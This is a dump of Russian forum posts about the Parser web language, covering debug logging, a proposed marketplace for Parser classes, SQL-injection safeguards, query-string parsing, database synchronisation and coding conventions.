Информация в log-файле получается следующая:\
[code]\
<document>\
	<event date=\"ГГГГ-ММ-ДД ЧЧ:ММ:СС\">\
		<method>название_метода</method>\
		<params>\
			<item type=\"тип_переменной\" name=\"название_переменной\">содержание</item>\
		</params>\
		<additional>\
			...\
			<item ...></item>\
			<waring>важное_сообщение</warning>\
			...\
		</additional>\
	</event>\
</document>\
[/code]\
\
\
\
Мнение.\
\
По мне получается удобно выводить структуру хэш-переменных, т.к. получается дерево \"item\".\
\
Но есть и недостатки.\
1. Нет вывода событий в виде дерева.\
[i]Т.е. когда метод вызывает другой метод и т.д.[/i]\
2. Нет представления таблицы.\
[i]Здесь я думаю item будет отличен от обычно, как в хэш. Т.к. у таблицы есть колонки.[/i]\
3. Не точное определение типа у int/double.\
[i]Ведь парсер представляет все в виде строк.[/i]\
4. Нет определения объектов.\
[i]Я думаю это вопрос к разработчикам Парсер.[/i]"
"58478","А планируется ли просто экстенсивное расширение стандартных функций парсера. Например добавление всяких маленьких полезностей типа:\
\
wordwrap()\
nl2br()\
\
и подобных. Я понимаю что их можно и самому написать но всеже."
"58479","Я так понимаю это функции для работы с HTML.\
\
Предлагаю просто создать класс для работы с HTML и наполнить его такого типа функциями. Будет намного удобнее."
"58482","Но все же их можно самому написать ;)"
"58483","Мобильный: 8 926 497-81-43\
Мэйл: programming@i-do.ru\
ICQ: 255384733"
"58484","http://www.mkechinov.ru/pig/Solaris.rar 6МБ\
Там всякого барахла целая куча, почисти, поудаляй, что не нужно."
"58485","Да, вполне уверен, что сделаю. Я сейчас выясняю актуальность и хочу узнать что надо из первых функций."
"58486","А это значит, я должен выяснить их мнение того места, где они будут выкладывать свои разработки."
"58487","И сам буду тоже выкладывать свои разработки. Качество которых вы скоро сможете определить. И думаю у вас не возникнет неуверенности в моей компентенции."
"58488","... ибо здесь они все-таки несколько не по теме. А так будет возможность вести деловые беседы в отдельном форуме."
"58489","Я считаю, что любой ОТЛИЧНЫЙ программист должен легко рассказать на русском языке о своей разработке. Должен уметь делать отличную документацию как для пользователей так и для разработчиков.\
\
Смотрите, логично, если программист ни бе, ни ме на русском, то скорей всего он и устно вряд-ли нормально сможет рассказать о своем кода.\
\
Такие программисты и даром никому не нужны.\
\
Пусть учатся на ходу, в деле. А покупатели их будут критерием - если они правильно установили скрипт, значит дока нормальная, если часто задают вопросы, то программист должен переписать свою доку. Логично ведь!"
"58492","вот вы изложили:\
\
* safe mode (доступ только к файлам своей группы)\
* защита от sql-injection (в конструкторах возможен только один sql-запрос)\
* механизм tainting \
\
Я хочу собрать полный список! Чтобы аргументировать при разговорах с клиентами. Думаю, что коллегам по форуму тоже будет полезно это знать."
"58494","Уважаемые, никто из вас не поделится болванкой требований к сайту, которую должен заполнить клиент в начале переговоров?\
\
Речь идёт не о примере формального техзадания, где прописывается, что \"пуговицы должны быть перламутровыми\", а о более общем документе.\
\
Наверняка у вас есть какой-то вопросник, который вы даёте впервые нарисовавшемуся клиенту с неясными потребностями?\
\
Я сейчас в положении такого клиента - передо мной чистый лист, начать писать не могу, \"мысль не идёт\".\
\
mailto:parserru@bougakov.com"
"58496","... к тому, что администратор не может пользоваться классами.\
\
Как они спрятаны так от него, что он не может ими пользоваться?"
"58497","Я в данном форуме вижу другое (это по поводу \"ОТЛИЧНЫХ программистов\").\
\
По мне к доке должны иметь отношения и покупатели. Ведь у них тоже знания разные."
"58498","Прикольный момент).\
Типа пришел к дизайнеру - он тебе нась - анкетку, типа где надо, пометтье крестиком. Ты пометил, несешь анкетку в другой отдел, там тебе печати проставили, идешь на кассу - оплачиваешь. Идешь на склад и получаешь диск с уже готовым сайтом. Конвеер.\
\
Если бы так было устроено, я даже не представляю, чтобы творилось с нэтом.\
\
Обычно все начианется с вопроса \"Зачем вам сайт?\". Этого достаточно, чтобы составить ТЗ. Все последствия вытекают из ответа на этот вопрос."
"58500","ICQ: 195549622 или 136317067\
\
Согласен за это взяться."
"58502",">Кстати, я отличный программист.\
Смелое заявление ;)"
"58503","Если человеку хватит сил и терпения поднять сайт, чтобы он работал и был полезным, разве нельзя дать ему хоть какую-то радость?\
Предвижу вопросы, типа, он будет сам перепродавать подешевле, и т.п. Ну и что? Если админа этого сайта уличат в этом, кто не захочет пользоваться услугами сайта - не будет ими пользоваться, а кто захочет - будет продолжать."
"58504","очень толково, кратко, и по делу"
"58505","Слушайте, не мне вам рассказывать как реализовать этот механизм. Можно зашифровать файл. А после покупки, продавец вышлет пароль. Можно вообще не выкладывать на моем сервере файлы классов. А оставлять на своем. И продавать пин-коды доступа к ним.\
\
Ну в самом деле. Чего сейчас это обсуждать? Да еще такие простые вопросы, которые решаются на раз-два..."
"58506","Это будет халява. И никому она не понравится. Можно лишь брать комиссионный, например, 1-5%. Но это после раскрутки. Сейчас это будет бесплатно. Понятно?"
"58507","Конечно смелое. Ведь я смелый человек. Могу бросать вызов. Но в данном случае, я отвечаю за свои слова. Мне нравится проект Биржы классов Парсера. И я хочу его реализовать. Мне нужны ваши мнения. Жду!"
"58508","Какое отношение к докам должны иметь покупатели?\
То есть, если покупатель дурак, то никакая дока не поможет?\
Ну да, вы правы.\
Но мы будем делать проект для умных программеров и умных покупателей. Верно?\
И я уверен, что здесь на форуме таковые есть."
"58509","Если что, отпишитесь info@delta-x.info"
"58511",":)\
\
Мое мнение очень простое: вы не оценили масштаб рынка. А он - рынок - очень слабо развит, между прочим: программистов мало, крупных проектов на Парсере (кроме проектов САЛа) никто не делает, заказов на разработку ПО на Парсере, как вы понимаете, практически нет.\
\
Сколько (ну или в каких рамках), как вы думаете, может стоить один класс на Парсере? 500$, 100$, 50$ или 10-15$? И на какой месячный оборот биржи вы рассчитываете?\
\
Резюмирую: энтузиазм - это хорошо). Но я бы рекомендовал еще раз подумать, а стоит ли оно того?"
"58512","И вот почему.\
\
Цель иная.\
\
Моя цель - создать биржу. Ибо ее нет в природе.\
Мне нужно покупать много классов для своих сайтов.\
Как это лучше сделать?\
Просто создать второй сайт для Парсеристов, которые не прочь выставить на продажу свои классы.\
\
Я сейчас обсуждаю не экономику этого сайта. Зачем она вам? Я ведь реализую сайт, а не вы.\
\
Я хочу обсудить как его лучше сделать. И хочу обсуждать с теми, кто собирается там покупать и продавать классы.\
\
Итак?"
"58513","любопытно, точно ли вам необходимо делать такой вызов?\
если документ на вашем же сервере, можно вынести код, который нужен в двух местах, куда-нибудь, хоть в /auto.p (лучше в класс).\
\
про статические файлы, уверен, напоминать и не нужно."
"58514","вторые два пункта суть один.\
безусловно, tainting пытается помочь.\
однако всегда программист может написать так, что это не поможет.\
\
если нужен внушительный список, думаю, стоит найти список уязвимостей (поищите javascript injection, в эту сторону), опубликуйте сюда, и попробуем соотнести где tainting поможет.\
будет сколько-то разных injections.\
\
но очень рискуем опять скатиться. посему, просьба ко всем к осторожности."
"58515",">Моя цель - создать биржу. Ибо ее нет в природе.\
На голом энтузиазме немногие проекты держатся, заметьте.\
\
>Мне нужно покупать много классов для своих сайтов.\
>Как это лучше сделать?\
>Просто создать второй сайт для Парсеристов, которые не прочь выставить на продажу свои классы.\
А почему бы не пользоваться первым сайтом для Парсеристов))? Думаю, сказать, что на этом форуме можно найти [b]всех[/b] парсеристов, не будет сильным преувеличением.\
\
>Я сейчас обсуждаю не экономику этого сайта. Зачем она вам? Я ведь реализую сайт, а не вы.\
Вот так всегда - дашь человеку совет, а он тебе не только спасибо не скажет, но еще и намекнет, что в твоих советах не нуждается."
"58516","кому не лень, опубликуйте тут список частых injections.\
\
один наш большой проект страдал от... 3х html-injections было очень стыдно. неважно, что их мало, важно, что через любую можно протащить слона."
"58517","[quote]крупных проектов на Парсере (кроме проектов САЛа) никто не делает[/quote]\
Я делаю."
"58518","Да, и еще, пока не забыл. Лучше продавать не одноразовые лицензии на использование, а многоразовые. То есть купил класс и пользуйся им сколько хочешь. Но вот следующую версию класса придется опять покупать (на чем то должен зарабатывать разработчик класса).\
\
[quote]На голом энтузиазме немногие проекты держатся, заметьте.[/quote]\
\
Почему это будет голый энтузиазм? Каждый получит свое: я получу биржу и возможность удобной покупки нужных мне классов, продавцы - удобный инструмент продажи их классов, покупатели - то же, что и я, покупки нужных им классов. Извините, никакого голого энтузиазма.\
\
[quote]А почему бы не пользоваться первым сайтом для Парсеристов))? Думаю, сказать, что на этом форуме можно найти всех парсеристов, не будет сильным преувеличением.[/quote]\
\
Так это не удобно. Здесь форум предназначен для общения пользователей с разработчиками Парсера. Здесь не по теме будет бурная продажа кодов.\
\
На бирже будет удобная система счетов, каталог классов с рубриками, поиск, у каждого продавца своя страница, через которую он будет вести техподдержку, на которой будут появляться отзывы и предложения по каждому классу. И т.п.\
\
[quote]Вот так всегда - дашь человеку совет, а он тебе не только спасибо не скажет, но еще и намекнет, что в твоих советах не нуждается.[/quote]\
\
Вы советуете не делать биржу. Спасибо. Принял ко вниманию. \
\
Вы спросили про оборот. Я ответил, что цель другая. Совета тут не углядел. Еще раз повторяю, что я хочу выяснить мнение о самой бирже, а не ее экономической составляющей. Покупатели на классы будут, если не задирать, конечно, ценник."
"58519","всех здесь найти нельзя.\
\
некоторым всё ясно из документации, и никогда не нужно было идти на форум.\
некоторым достаточно почитывать текущие обсуждения время от времени, не такой у них склад характера, чтобы писать.\
\
сколько именно у нас с вами «невидимых» коллег, неясно."
"58520","1. Для покупателей, а лучше клиентов в доках должно быть поле для комментирования. Здесь продолжать не нужно, на начале уже ясно...\
2. Если клиент дурак, то разумеется его в топку! Бывает вариант, что он даже не знает, что ему нужно.\
3. Проект для умных людей хорошая затея."
"58521","Насчет Ваших замечаний.\
Объясните мне где в этом проекте голый энтузиазм?\
\
Лично я в этой идеи нахожу много плюсов. Считаю такой проект очень удобным.\
\
P.S. В добавок про советы.\
Знайте, чтобы дать человеку подходящий совет нужно:\
1) подобрать время\
2) не перепутать тему\
3) продумать все возможные вопросы"
"58522","tainting - тут механизм защиты от injections понятен.\
\
Но я про другое:\
[code]^string:sql{SQL-запрос^;SQL-запрос}[/code]\
\
Если не ошибаюсь, то будет выполнен только один запрос - первый.\
Больще одного запроса в одни руки (одному конструктору) не выдают :) Поэтому, даже если не помог taint то сработает другой механизм."
"58524","Есть такое \
[code]automake-1.9\
AWK = awk\
CC = gcc\
CCDEPMODE = depmode=gcc3\
CFLAGS = -g -O2\
COMPILE_APACHE13_MODULE_FALSE = \
COMPILE_APACHE13_MODULE_TRUE = #\
CPP = gcc -E\
CPPFLAGS = \
CPP_LIBS = -lstdc++\
CXX = g++\
CXXDEPMODE = depmode=gcc3\
CXXFLAGS = -g -O2\
CYGPATH_W = echo\
DEFS = -DHAVE_CONFIG_H\
DEPDIR = .deps\
ECHO_C = \
ECHO_N = -n\
ECHO_T = \
EGREP = grep -E\
EXEEXT = \
GC_LIBS = -L/Users/user/gc/gc68lib/lib/ -lgc\
INCLTDL = -I${top_srcdir}/src/lib/ltdl\
INSTALL_DATA = ${INSTALL} -m 644\
INSTALL_PROGRAM = ${INSTALL}\
INSTALL_SCRIPT = ${INSTALL}\
INSTALL_STRIP_PROGRAM = ${SHELL} $(install_sh) -c -s\
LDFLAGS = \
LIBADD_DL = -ldl\
LIBLTDL = ${top_builddir}/src/lib/ltdl/libltdlc.a\
LIBOBJS = \
LIBS = -lm \
LTLIBOBJS = \
MAKEINFO = ${SHELL} /Users/user/src/parser/321/parser3/missing --run makeinfo\
MIME_INCLUDES = \
MIME_LIBS = \
OBJEXT = o\
P3S = /Users/user/src/parser/321/parser3/src[/code]\
\
Попробую вручную запустить ....."
"58525","1. Считаю, что помимо продаваемых классов должна быть возможность выкладывать бесплатные разработки на общественных началах.\
\
2. Как будет оцениваться класс? Пример. Висит описание: \"Моя класс делает крутую штуку - он рисует любые картинки, классный класс, наворочаный, лучше всех аналогов. Цена 200 у.е.\". Как определить - стоит тратить на него 200 у.е.? Я трачу 200 денег, получаю класс, который частично не работает, частично работает криво и пара методов нормальных. Как быть в таком случае?\
\
3. Что такое биржа? Биржа - это когда есть какой-то определенный набор товаров, скорее всего даже стандартизованных, и под каждый товар выкладываются заявки, как спрос, так и предложение. К примеру товар \"класс авторизации\" - он один. И у него свой набор требований: авторизация, выход из системы, регистрация, персональная информация, обязательные поля, необязательные поля и т.п. Это требования к классу авторизации. А вот к товару уже будут заявки:\
1. СПРОС \"Нужен класс авторизации, который авторизует юзера по электропочте. ЦЕНА: 200 руб.\
2. СПРОС \"Нужна авторизация по логину\" ЦЕНА: 70 руб.\
3. ПРЕДЛОЖЕНИЕ \"Класс авторизации по логину или мылу на выбор\" ЦЕНА: 700 руб.\
К чему это приведет? В большинстве случаев к появлению одного-двух десятков классов только на одну тему. Плохо это или хорошо? Не знаю. С одной стороны я предпочитаю стандарт, чтобы не было такой фигни, как тонны разработанных модулей под разные CMS, которые глючат и не работают. С другой стороны - если мне действительно нужен класс авторизации за 70 рублей - зачем мне покупать класс за 700 рублей? А может вообще лучше самому сделать? Я не знаю, плохая это идея или хорошая. Но я больше все же за Open Source. Когда есть один класс и его дорабатывают разные люди. Взять тот же PEAR на PHP."
"58526","www.teletype.ru делает и другие.\
В первую очередь вы должны быть нацелены на студии.\
Они легче заплатят, если посчитают, что это дешевле если самим разрабатывать.\
Изучите спрос."
"58528","...уже сообщал, что экономику просчитывать не нужно. Я делаю сайт, я его развиваю и себе экономику я уже просчитал (это не голый энтузиазм, это точный расчет).\
\
Мне нужно, чтобы вы рассказали о функциях, которые вы там хотите видеть. Чтоб он удобным для вас был!\
\
В любом случае, на сайте будет страница ABOUT, где я все лаконично расскажу. А сейчас я по информации этой ветки напишу описание сайта и здесь же опубликую. Чтобы было в одном месте и лаконично видно как будет выглядеть сайт. И продолжим его править."
"58529","...так, чтобы вас не посадили. Сначала придумайте это."
"58530","Я вижу три пункта из рассуждений kechinoff:\
\
1. Стандарты\
Я предполагаю на сайте вести стандарты на API, стиль программного кода и прочее. Наверное в сети есть аналоги, я в этом плохо разбираюсь. Тут привели в качестве примера PEAR (PHP) - некие репозитории классов на PHP. Там это бесплатно.\
\
2. Цена класса\
Стоимость класса должна быть крайне низкой, чтобы это было выгодно покупателю: цена маленькая, есть возможность использовать один раз купленный класс много раз в своих коммерческих разработках, есть возможность купить следующие версии со скидкой, есть техподдержка и документация. Хочу ввести возможность moneyback. Если класс не понравился, то можно это доказать и получить обратно деньги. \
\
3. Качество\
Чтобы возврата денег было минимально, нужна хорошая дока, описывающая товар (несоответствие доки с товаром уже повод вернуть деньги). Плюс демонстрации. Возможно автоматически включать класс на сервере, чтобы он демонстрировал работу класса. Это непросто сделать, но на перспективу заложить можно."
"58531","Вначале проекта, каждый продавец будет просто иметь свои координаты для оплаты. Проблему с официальными платежами и их проводками буду решать по мере встачи таковой.\
\
Сейчас это будет как \"СЛУЖБА ЗНАКОМСТВ программистов-продавцов с классами с покупателями этих классов\". Служба пока бесплатная. Почему меня за это садить?"
"58532","Не расскажу про экономику, да не расскажу...\
\
Вот я разработчик. Сделал скрипт, хочу продать. Плачу вашей бирже 10% со стоимости сделки. \
За что я их плачу? Кто купит скрипт? Как вы будете его рекламировать? Как будет происходить платеж? Кто будет платить налоги? Как вы поможете наладить отношения с постоянными покупателями? Вот основные вопросы, которые вы должны решать.\
\
А то фишки, удобство... Да я щас пойду, за 20 минут PHPBB скачаю, сделаю два форума: \"продам\" и \"куплю\", обзову \"биржей\", да разрекламирую в Яндексе. Вот вам и проект."
"58533","[quote]Вот я разработчик. Сделал скрипт, хочу продать. Плачу вашей бирже 10% со стоимости сделки.[/quote]\
\
Откуда вы взяли эту цифру 10%?\
\
[b]Еще раз сообщаю, биржа будет сначала бесплатной.[/b] А потом, если будет необходимость, будет введена оплата - комиссионные бирже. Но к этому времени вы будете точно знать, что биржа вам полезна или бесполезна. Верно?"
"58534","Просто не могу понять, по какому принципу все это работает. \
Вот, например, что есть на сайте (структура):\
1. Страница:\
1.1 Шапка\
1.1.1 Лого\
1.1.2 Форма авторизации (если не авторизован) или персональная информация (если авторизован)\
1.1.3 Навигация (зависящая от авторизации)\
1.2 Середина\
1.2.1 Заголовок\
1.2.2 Текст\
1.3 Подвал\
1.3.1 Копирайт\
\
Т.е. такой простой вариант. Хочется узнать, как быть, если содержимое меняется, один шаблон xslt или несколько. \
\
Ну, т.е. простой guide для построения сайтов на XML/XSLT средствами парсера."
"58536","По части требований к оформлению кода у PEAR: \
http://pear.php.net/manual/en/standards.php"
"58538","Первая отмазка, которая пришла в голову:\
1. Разработчик \"дарит\" класс заказчику.\
2. Заказчик \"дарит\" деньги разработчику.\
Все происходит в ручном режиме.\
А вообще за неуплату налогов в таких масштабах еще никого не садили."
"58539","Да, можно скачать phpBB и раскрутить его в яндексе. И это будет биржей. Если оно будет работать. Не обязательно писать движок. Биржей можно сделать вообще листики А4 распечатать - требуется, продается. И все. Вот и вся биржа. Если она приносит работает. А если не работает, то это просто листики А4. \
\
Биржа никогда не берет деньги вперед. Биржа берет комиссионные за сделку. Если сделки нет, то и комиссионных нет. Откуда знаю? Делаю товарную биржу на парсере."
"58541","Имеется строка запроса [code]a=1&b=2&c=3[/code]. \
Здесь, в принципе, всё понятно.\
\
Имеется строка запроса [code]a=&b=&c=[/code].\
С этим проблем тоже не возникает.\
\
Имеется строка запроса [code]a&b&c[/code]. Появляется только поле [code]nameless[/code] со значением [code]a[/code] [url=\"http://www.parser.ru/docs/lang/\"]http://www.parser.ru/docs/lang/[/url].\
Остаток, в данном случае [code]&b&c[/code] пропадает. \
\
Вопрос: учитывая, что разделителем является символ [code]&[/code], можно предположить, что у нас должно получится 3 поля с пустыми значениями. \
\
Может быть не брать во внимание специфику CGI[Perl], а разбирать строку иначе (чтобы получалось 3 поля формы, как в некоторых других языках)? Кому-нибудь ещё этот вопрос не давал спать по ночам, кроме меня?"
"58542","И не забывайте, что один разработчик будет иметь сразу несколько клиентов:\
Допустим он продает за 20уе, а клиентов на его отличный класс 10, то выхлоп с каждой версии 200. \
Если скрипт стоит 100, то нормально.\
А для покупателей получается что они купили скрипт вскладчину. И сэкономили."
"58545","...админу польза в другом месте будет. Какая именно - я уже описывал в трех местах. Будь добр найти."
"58547","Можно раскрутиться и баннеров навешать"
"58550","Подарки подлежат налогообложению.\
Врочем, автор идеи сказал, что никакой системы платежей не предусмотрено. Так что проект уже сразу на ином уровне."
"58554","который я могу смотреть, менять в нем что-то и смотреть, что получилось. Честно говоря, я рассылку еще не дочитал, сейчас большой завал со всеми моими работами, и пока я только хотел получить код, чтобы получить общую идею. В общем, хочется немного практики.\
>> пошел читать рассылку..."
"58558","Если классы будут бесплатные, то это действительно будет голым энтузиазмом. Мне представляется, что в таком случае сайт будет наполняться крайне вяло и малоохотно."
"58559","В нем будет лишь 13% подоходного налога. И платится он раз в год до 1-го апреля. Читайте подробней в законах."
"58560","многократно проверенные как самими разработчиками, так и проверяющей группой.\
А еще WIKI бесплатная. Но ничего, живет. Конечно WIKI и Парсер - две разные вещи, но ведь все равно же. К тому же открытый код ведет к популяризации языка. А чем больше народу будет пользоваться Парсером, тем больше будет разработчиков на парсере, тем больше будут заказывать сайты на Парсере, тем больше будет работы для разработчиков, и т.п. Разработчики на PHP ничего так, не бедствуют, несмотря на наличие бесплатного репозитария на php.net.\
\
Просто еще такой вопрос. Если планируется ввести стандарт на оформление парсерного кода, и при этом администратор не имеет доступа к коду класса, как будет осуществляться проверка? Этот вопрос не требует немедленного ответа, это просто информация к размышлению."
"58562","Сервер 1.\
База 1.\
[ интернет ]\
Комп 2.\
База 2.\
\
Меняю на компе 2 базу 2. Нужно синхронизировать с базой 1.\
И наоборот.\
\
Прямого доступа к базе 1 нет. На сервере 1 только парсер. Кто-нибудь делал синхронизаторы?"
"58563","http://nordisk.pp.ru/jj/sources.zip"
"58566","[quote]PEAR заполняется довольно лихо и охотно. И попадают…[/quote]\
\
Парсер не популярен, в отличии от PHP. Так что бесплатное могут и не раздавать. И второе, у разработчика будет ответственность за товар. Я не очень люблю товары с лицензией по типу \"КАК ЕСТЬ, разработчик не отвечает за использование...\" и т.п. Это безответственно! Нужно, чтобы разработчики давали гарантии по своим кодам.\
\
[quote]Если планируется ввести стандарт на оформление парсерного кода, и при этом администратор не имеет доступа к коду класса, как будет осуществляться проверка?[/quote]\
\
Народ молчать не будет:) \
\
По аналогии с ТВС (tutvsesvoi.ru) дадим возможность любому давать пометки товарам: отлично, не по стандарту, качество плохое, фатальные ошибки и прочее. Таким образом, за каждым товаром будет вестись статистика таких откликов. Потом будем разбираться, действительно разработчик продает \"г.\", или его просто банят."
"58569","получить строку параметров с помощью переменных окружения и самому порубить ее на переменные."
"58570","Вопрос не про «можно или нельзя», а принципиально другой — про разбор Parser'ом строки запроса. Удобно это или нет. \
\
ИМХО, я не думаю, что кому-то может понадобиться nameless."
"58571","А то в архиве их нет и структуры их я не знаю. Может быть были где-то?"
"58572","(с интересом): покажете?"
"58575","К сожалению, это закрытые информационные системы. Могу сказать, что это ИС для малого и среднего бизнеса, как правило это разнообразные crm`ы, аналитические системы, системы управления проектами и т.п."
"58576","Дмитрий, если б вы писали сценарий, вы сами как бы смотрели на строку запроса a&b&c?"
"58577","[url=\"http://www.ietf.org/rfc/rfc3986.txt\"]По стандарту[/url] используются \"key=value\". Все нестандартные ситуации обрабатываются самим юзером. Т.е. в вашем случае напишите метод-парсер квери-стринга и юзайте на здоровье."
"58578","Есть форум PHPBB\
В него грузится дизайн на Parser.\
Задача: передать Parser'у переменную\
Делаю так: \
\
(PHP)\
\
[code]\
$ind=$HTTP_COOKIE_VARS[\"ind\"];\
if ($ind){\
	$d_header = file_get_contents (\"http://123.ru/header.html?ind=$ind\") or die (\"Header not loaded\");\
}{\
	$d_header = file_get_contents (\"http://123.ru/header.html\") or die (\"Header not loaded\");\
}\
[/code]\
\
Однако, Parser не видит ind в url, хотя при провоцировании ошибки видно, что в урле она была:\
\
[quote]Warning: file_get_contents(http://div.ru/headerr.html?ind=8): failed to open stream: HTTP request failed! HTTP/1.1 500 in z:\\home\\div.ru\\www\\forum\\includes\\page_header.php on line 356\
Header not loaded[/quote]\
\
allow_url_fopen в php.ini проверял.\
\
Еще интересный факт:\
в скрипте на parser (который вызываем) написал: $request:uri\
Получаю: /header.html\
\
Куда $ind девается? :)"
"58579","Напомни в ящик. А то могу забыть."
"58581","возможно, >1.\
\
если не секрет, кто именно делает такой запрос?"
"58582","если нет прямого доступа, возможно, можно использовать [url=\"http://www.parser.ru/forum/?id=43029\"]туннель[/url]."
"58583","если и так нельзя, то можно включить binlog, и аккуратно накапливать изменения в него.\
когда пора посинхронизоваться, выписать на бумажку end-позицию в логе, аккуратно забрать binlog с master-машины.\
[code]\
$begin-позиция[$end-позиция]\
[/code]\
перенести его на slave-машину, и \"накатить\" лог от begin до end-позиции.\
\
binlog-и по-умолчанию очень редко прокручиваются, поэтому заранее установить маленький размер,\
чтобы копировать каждый раз только несколько последних нужных.\
\
время от времени ненужные binlog-и удалять, указывая позицию, старее которой оно не нужно (есть и такая утилитка)."
"58584","ещё вариант, чуть проще предыдущего:\
\
[code]\
#на master\
$positions[\
   $.transferred[загрузить из файла transferred.txt]\
   $.current(^узнать_через_sql_запрос[])\
]\
$update_statements[^file::exec[mysqlbinlog;напечатай запросы на обновление базы \
от $positions.transferred до $positions.current]]\
$dummy[^file::load[text;http://slave/admin/execute.html;\
  $.method[POST]\
  $.form[\
    $.update_statements[$update_statements]\
  ]\
]]\
# если досюда не доживёт (ошибка передачи), \
# вылетит и не обновит позицию = \
# = в следующий раз попробует залить ещё раз, уже побольше\
\
$positions.transferred[$positions.current]\
^positions.current.save[transferred.txt]\
[/code]"
"58585","Пишите себе нужные преобразования и будет вам счастье.\
Всем такого счастья не нужно."
"58586","Вы, видимо, работаете в идеальном мире, где нет лжи, голода, войн и дурных заказчиков с начальниками...\
Всем в этом мире платят одинаково, все живут коммуной, и готовят ужин сообща на коммунальной кухне.\
До чего хорошо!.."
"58588","1. Стандарт должен быть, НО не должен быть один на всех. Люди должны выбирать. Не вариант, что некоторым этот стандарт только мешает.\
Поэтому должно быть так, как с лицензиями. Всякого вида.\
А при просмотре инфоормации о классе, клиент может увидеть ссылку на стандарт.\
2. Цену в большей мере должен определять разработчик, а не магазин.\
Пусть даже и это не всегда удобно покупателю.\
-\
4. Проект должен поддерживать как платные классы, так и бесплатные!\
Как всегда выбор разработчика."
"58589","[quote]1. Стандарт должен быть, НО не должен быть один на всех. Люди должны выбирать. Не вариант, что некоторым этот стандарт только мешает.[/quote]\
\
[b]А тут подробней пожалуйста.[/b] Не понятно почему стандарты API могу мешать. Я считаю что на API нужно наложить жесткий стандарт. Чтобы классы можно было сопрягать как угодно и без особых проблем.\
\
[quote]2. Цену в большей мере должен определять разработчик, а не магазин. Пусть даже и это не всегда удобно покупателю.[/quote]\
\
Да, конечно разработчик. Главное чтоб покупателям было на чем экономить. Повторяю, проект нужен для возможности экономить на разработке. Чтобы класс стоил раз в 5-10 дешевле, нежели если он заказывался бы с нуля у своего программиста.\
\
[quote]4. Проект должен поддерживать как платные классы, так и бесплатные![/quote]\
\
Тут без вопросов. Это не противоречит концепции биржы."
"58591","Я делаю связь со стандартами и лицензиями.\
Второго в Интернете много, есть с чего выбирать: GPL, LGPL, BSD, FDL......\
Нет одной на всех.\
\
Допустим здесь в форуме я видел пару \"стандартов\". Более-менее мне удобен это от Михаила. Но есть и неудобства, к примеру:\
[code]\
$oTest[^Test::init[\
	$iCount(1)\
	$sText[my text]\
	...\
]]\
\
....\
\
^if($oTest.bDebug){\
	...\
}\
[/code]\
\
Мне кажется это неудобным, т.к. в встроенных классах Парсера выглядит по другому. А я считаю, что класс - это как модуль, он должен быть на вид похож.\
\
См. [url=\"http://www.parser.ru/forum/?id=58230\"]сообщение от agat[/url], вопрос 3."
"58592","[code]$oTest[^Test::init[\
	$iCount(1)\
	$sText[my text]\
	...\
]][/code]\
\
во первых у меня нет более конструктора init, а во вторых это вообще синтаксическая ошибка, надо так как минимум:\
[code]\
$oTest[^Test::init[\
	$.iCount(1)\
	$.sText[my text]\
	...\
]]\
[/code]\
\
[quot]\
Мне кажется это неудобным, т.к. в встроенных классах Парсера выглядит по другому\
[/quot]\
\
да, но во встроенных классах парсера нет префиксов типов, что меня никак не устраивает. \
\
P.S. не вижу ничего страшного в этих отличиях. они могут быть даже благом и помогать отличать пользотательские типы от системных.\
\
P.P.S. миша пошел читать про лицензии, т.к. он против того чтобы его выложенные классы продавались в составе каких-либо пакетов."
"58593","Денег заплатил - как дойдут, включат сайт. Главное чтобы не удалили контент, а то затрахаюсь восстанавливать :)"
"58594","Я основывался на http://www.parser.ru/forum/?id=57401. Что заменило метод @init[] у Вас? @create[]?\
\
Допустим встроенные классы тоже были бы так, чего бы я реально не хотел.\
\
Тогда как бы Вы поступили с Вашими таблицами в БД?\
\
[code]\
$tPeoples[...]\
\
^if($tPeoples){\
	^tPeoples.menu{\
		<people id=\"$tPeoples.iPeopleID\">\
			<name>$tPeoples.sName</name>\
			...\
		</people>\
	}\
}\
[/code]\
\
Я верно понимаю?\
\
P.S. Если Вы не планируете здесь делать изменения, то по мне я бы не хотел делать одно исключение, поэтому и не полностью поддерживаю Ваш стандарт.\
\
P.P.S. Хотя может Вы здесь используете [i]SELECT people_id AS iPeopleID[/i]?"
"58596","Лень все проклятая :)"
"58597","[quot]\
Я основывался на http://www.parser.ru/forum/?id=57401. Что заменило метод @init[] у Вас? @create[]?\
[/quot]\
\
по приводимой ссылке есть ответ.\
\
\
[quot]\
я ... не полностью поддерживаю Ваш стандарт.\
[/quot]\
\
дык это стандарт? которому следую _я_, и который я никому не навязываю.\
\
\
[quot]\
Тогда как бы Вы поступили с Вашими таблицами в БД?\
[/quot]\
\
делаю так: SELECT article_id AS iId... ибо регистрозависимость в SQL мне не нравится.\
\
\
P.S. личная просьба: можно не обращаться ко мне на \"Вы\", особенно с большой буквы?"
"58599","[quot]метод инициализации статического класса: @init[][/quot]\
Можно объяснить что это означает? К примеру привести маленький пример...\
\
P.S. Книг мало читал, поэтому мне это сочетание слов мало о чем говорит..."
"58600","http://klen.zoxt.net\
исходники там есть, уже с сайтом примером\
как раз sql+xml+xslt"
"58602","[quote]миша пошел читать про лицензии, т.к. он против того чтобы его выложенные классы продавались в составе каких-либо пакетов.[/quote]\
\
Почему против?"
"58603","Просто кто-то продает нарезанные сайты, с готовыми модулями - нужно просто чуток подшаманить над дизайном, типа для уникальности. Такие \"продавцы\" имхо юзают анкетки.\
\
А кто-то продает идею. У идеи не может быть прайс-листа. Идея сама по себе уникальна."
"58604","Выше в сообщении я не задавал вопросов....\
\
Насколько это удобно, по мнению людей, которые часто пользуются Парсером в связке XML+XSLT?\
Если ли у вас другие способы, более удобные?"
"58606","Я не понимаю, что вам надо? Если бы я что-то там писал, у меня не было бы таких строк вообще. \
Если бы это было в исходных условиях... Ну разбирал бы запрос split-ом наверное"
"58607","откуда такое может взяться и его смысл?\
приведите пример"
"58608","http://www.parser.ru/docs/lang/obj.htm\
http://www.parser.ru/docs/lang/stats.htm\
http://www.parser.ru/docs/lang/defineclass.htm"
"58610","... но я вижу в нем неудобства [b]для себя[/b].\
\
1. Данные представляются в HTML.\
1.1. Сложно представить данные в другом виде (т.к. будут сложности в XSL преобразовании).\
\
2. Нет определенного представления методов. Debug-информация выводится только для переменных.\
\
3. Также нет представления вызова методов в виде дерева."
"58611","выдать в $response:body[] результат его работы касательно переменных/метода.\
\
Вам хочется дебаггера, мне тоже, когда-то ПАФ писал о возможности, но как это провернуть - так и не придумали."
"58612","В документации есть пример сдвига часового пояса:\
[code]^show[Москва;MSK-3MSD] \
^show[Амстердам;MET-1DST] \
^show[Лондон;GMT0BST][/code]\
\
